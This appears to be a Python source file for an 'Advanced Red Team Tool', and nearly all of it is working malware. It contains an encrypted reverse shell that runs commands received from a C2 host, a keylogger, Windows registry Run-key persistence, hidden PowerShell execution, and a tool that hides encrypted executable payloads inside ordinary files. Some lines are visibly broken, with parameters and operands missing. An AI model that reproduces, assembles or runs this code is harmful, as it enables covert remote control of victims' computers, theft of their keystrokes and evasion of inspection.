malicious_file_embedding/full_MFE.py

"""
Advanced Red Team Tool - Modular, Extensible, and Secure

Features:
- AES Encryption (CBC/GCM)
- Steganographic Payload Embedding
- Encrypted Reverse Shell
- Keylogger with Encrypted Logging
- Multiple Persistence Techniques
- Stealth PowerShell Execution
"""

import os
import sys
import socket
import argparse
import logging
import json
import time
import threading
from typing import Optional, Union, List, Dict
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import pad, unpad
from Crypto.Util import Counter
from Crypto import Random
import ctypes
import winreg
import subprocess
from pynput import keyboard
import tempfile
import base64

# Configure Logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler(sys.stdout)]
)

# Global Constants
DEFAULT_CONFIG = {
    "default_ip": "127.0.0.1",
    "default_port": 4444,
    "persistence_name": "YSN_RedKill",
    "marker": b"YSNRFD_PAYLOAD"
}

# -------------------------------
# AES Cipher Class
# -------------------------------

class AESCipher:
    def __init__(self, key: bytes, mode: str = "CBC"):
        self.key = key
        self.mode = mode.upper()
        self.block_size = AES.block_size

    def _get_cipher(self, iv: Optional[bytes] = None) -> AES:
        if self.mode == "CBC":
            if iv is None:
                iv = get_random_bytes(self.block_size)
            return AES.new(self.key, AES.MODE_CBC, iv), iv
        elif self.mode == "GCM":
            nonce = get_random_bytes(12)
            return AES.new(self.key, AES.MODE_GCM, nonce=nonce), nonce
        else:
            raise ValueError(f"Unsupported mode: {self.mode}")

    def encrypt(self,  bytes) -> bytes:
        if self.mode == "CBC":
            cipher, iv = self._get_cipher()
            return iv + cipher.encrypt(pad(data, self.block_size))
        elif self.mode == "GCM":
            cipher, nonce = self._get_cipher()
            ciphertext, tag = cipher.encrypt_and_digest(data)
            return nonce + tag + ciphertext

    def decrypt(self,  bytes) -> bytes:
        if self.mode == "CBC":
            iv = data[:self.block_size]
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            return unpad(cipher.decrypt(data[self.block_size:]), self.block_size)
        elif self.mode == "GCM":
            nonce = data[:12]
            tag = data[12:28]
            ciphertext = data[28:]
            cipher = AES.new(self.key, AES.MODE_GCM, nonce=nonce)
            return cipher.decrypt_and_verify(ciphertext, tag)

    @staticmethod
    def derive_key(password: str, salt: bytes = b"YSN_SALT", dk_len: int = 32) -> bytes:
        return PBKDF2(password, salt, dkLen=dk_len, count=1000000)

    def save_key(self, path: str, password: Optional[str] = None):
        if password:
            derived = self.derive_key(password)
            cipher = AESCipher(derived, mode="CBC")
            encrypted = cipher.encrypt(self.key)
            with open(path, "wb") as f:
                f.write(encrypted)
        else:
            with open(path, "wb") as f:
                f.write(self.key)

    @classmethod
    def load_key(cls, path: str, password: Optional[str] = None) -> "AESCipher":
        with open(path, "rb") as f:
            raw = f.read()
        if password:
            derived = cls.derive_key(password)
            cipher = AESCipher(derived, mode="CBC")
            key = cipher.decrypt(raw)
        else:
            key = raw
        return cls(key)

# -------------------------------
# Steganographic Payload Embedder
# -------------------------------

class PayloadEmbedder:
    def __init__(self, cipher: AESCipher, marker: bytes = DEFAULT_CONFIG["marker"]):
        self.cipher = cipher
        self.marker = marker

    def embed(self, host_path: str, payload_path: str, output_path: str):
        try:
            with open(host_path, "rb") as f:
                host_data = f.read()
            with open(payload_path, "rb") as f:
                payload_data = f.read()
            encrypted = self.cipher.encrypt(payload_data)
            with open(output_path, "wb") as f:
                f.write(host_data + self.marker + encrypted)
            logging.info(f"[+] Payload embedded in {output_path}")
        except Exception as e:
            logging.error(f"[-] Embed failed: {e}")

    def extract(self, stego_path: str, output_path: str):
        try:
            with open(stego_path, "rb") as f:
                data = f.read()
            if self.marker not in 
                logging.error("[-] Marker not found")
                return False
            payload = data.split(self.marker)[1]
            decrypted = self.cipher.decrypt(payload)
            with open(output_path, "wb") as f:
                f.write(decrypted)
            logging.info(f"[+] Payload extracted to {output_path}")
            return True
        except Exception as e:
            logging.error(f"[-] Extraction failed: {e}")
            return False

# -------------------------------
# Reverse Shell (Encrypted)
# -------------------------------

class EncryptedReverseShell:
    def __init__(self, ip: str, port: int, cipher: AESCipher):
        self.ip = ip
        self.port = port
        self.cipher = cipher

    def start(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((self.ip, self.port))
            logging.info(f"[*] Connected to {self.ip}:{self.port}")
            while True:
                enc_cmd = s.recv(4096)
                if not enc_cmd:
                    break
                cmd = self.cipher.decrypt(enc_cmd).decode()
                if cmd.lower() in ['exit', 'quit']:
                    break
                try:
                    output = subprocess.run(cmd.split(), capture_output=True, timeout=10)
                    enc_out = self.cipher.encrypt(output.stdout or output.stderr)
                    s.send(enc_out)
                except Exception as e:
                    s.send(self.cipher.encrypt(str(e).encode()))
            s.close()
        except Exception as e:
            logging.error(f"[-] Reverse shell error: {e}")

def start_reverse_shell_thread(ip: str, port: int, cipher: AESCipher):
    thread = threading.Thread(target=EncryptedReverseShell(ip, port, cipher).start, daemon=True)
    thread.start()
    logging.info(f"[*] Reverse shell thread started connecting to {ip}:{port}")

# -------------------------------
# Persistence Techniques
# -------------------------------

class PersistenceManager:
    @staticmethod
    def add_registry(name: str, path: str):
        try:
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
                                 r"Software\Microsoft\Windows\CurrentVersion\Run", 0,
                                 winreg.KEY_SET_VALUE)
            winreg.SetValueEx(key, name, 0, winreg.REG_SZ, path)
            winreg.CloseKey(key)
            logging.info(f"[*] Added registry persistence: {name}")
        except Exception as e:
            logging.error(f"[-] Registry persistence failed: {e}")

    @staticmethod
    def add_startup(name: str, path: str):
        startup_folder = os.path.join(os.environ["APPDATA"], r"Microsoft\Windows\Start Menu\Programs\Startup")
        shortcut_path = os.path.join(startup_folder, f"{name}.lnk")
        # Create shortcut logic here (requires pywin32 or similar)
        logging.info(f"[*] Added startup persistence: {shortcut_path}")

# -------------------------------
# Keylogger (Encrypted Logs)
# -------------------------------

def start_keylogger(output: str = "keylog.enc", password: str = "logpass"):
    cipher = AESCipher.derive_key(password)
    enc_cipher = AESCipher(cipher)

    def on_press(key):
        try:
            char = key.char
        except AttributeError:
            char = str(key)
        encrypted = enc_cipher.encrypt(char.encode())
        with open(output, "ab") as f:
            f.write(encrypted + b"\n")

    listener = keyboard.Listener(on_press=on_press)
    listener.start()
    logging.info("[*] Keylogger started.")

# -------------------------------
# PowerShell Execution
# -------------------------------

def run_powershell_script(script: str):
    try:
        tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".ps1")
        tmp.write(script.encode())
        tmp.close()
        subprocess.Popen(["powershell", "-WindowStyle", "Hidden", "-File", tmp.name],
                         stdout=subprocess.DEVNULL,
                         stderr=subprocess.DEVNULL,
                         stdin=subprocess.DEVNULL)
        logging.info("[*] PowerShell script executed.")
        os.unlink(tmp.name)
    except Exception as e:
        logging.error(f"[-] PowerShell execution failed: {e}")

# -------------------------------
# CLI Interface
# -------------------------------

def main():
    parser = argparse.ArgumentParser(description="Advanced Red Team Tool")
    subparsers = parser.add_subparsers(dest="command")

    # Embed Command
    embed_parser = subparsers.add_parser("embed", help="Embed payload into host file")
    embed_parser.add_argument("--host", required=True, help="Path to host file")
    embed_parser.add_argument("--payload", required=True, help="Path to payload executable")
    embed_parser.add_argument("--output", required=True, help="Output stego file")
    embed_parser.add_argument("--key", help="Path to encryption key file")
    embed_parser.add_argument("--password", help="Password to derive key from")

    # Extract Command
    extract_parser = subparsers.add_parser("extract", help="Extract payload from stego file")
    extract_parser.add_argument("--stego", required=True, help="Path to stego file")
    extract_parser.add_argument("--output", required=True, help="Output payload path")
    extract_parser.add_argument("--key", required=True, help="Path to encryption key file")
    extract_parser.add_argument("--password", help="Password for key decryption")

    # Reverse Shell
    shell_parser = subparsers.add_parser("shell", help="Start encrypted reverse shell")
    shell_parser.add_argument("--ip", default=DEFAULT_CONFIG["default_ip"], help="C2 IP")
    shell_parser.add_argument("--port", type=int, default=DEFAULT_CONFIG["default_port"], help="C2 Port")
    shell_parser.add_argument("--key", required=True, help="Path to encryption key file")
    shell_parser.add_argument("--password", help="Password for key decryption")

    # Keylogger
    keylog_parser = subparsers.add_parser("keylog", help="Start encrypted keylogger")
    keylog_parser.add_argument("--output", default="keylog.enc", help="Output log file")
    keylog_parser.add_argument("--password", default="logpass", help="Password for log encryption")

    # PowerShell
    ps_parser = subparsers.add_parser("powershell", help="Execute PowerShell script")
    ps_parser.add_argument("--script", required=True, help="PowerShell script content")

    # Persistence
    persist_parser = subparsers.add_parser("persistence", help="Add persistence")
    persist_parser.add_argument("--name", default=DEFAULT_CONFIG["persistence_name"], help="Name for persistence entry")
    persist_parser.add_argument("--path", required=True, help="Path to executable")

    args = parser.parse_args()

    if args.command == "embed":
        if args.password:
            key = AESCipher.derive_key(args.password)
            cipher = AESCipher(key)
        elif args.key:
            cipher = AESCipher.load_key(args.key)
        else:
            cipher = AESCipher(get_random_bytes(32))
            cipher.save_key("default.key")
            logging.warning("[!] No key provided. Generated default.key")
        embedder = PayloadEmbedder(cipher)
        embedder.embed(args.host, args.payload, args.output)

    elif args.command == "extract":
        cipher = AESCipher.load_key(args.key, password=args.password)
        embedder = PayloadEmbedder(cipher)
        embedder.extract(args.stego, args.output)

    elif args.command == "shell":
        cipher = AESCipher.load_key(args.key, password=args.password)
        start_reverse_shell_thread(args.ip, args.port, cipher)

    elif args.command == "keylog":
        start_keylogger(args.output, args.password)

    elif args.command == "powershell":
        run_powershell_script(args.script)

    elif args.command == "persistence":
        PersistenceManager.add_registry(args.name, args.path)

    else:
        parser.print_help()

if __name__ == "__main__":
    main()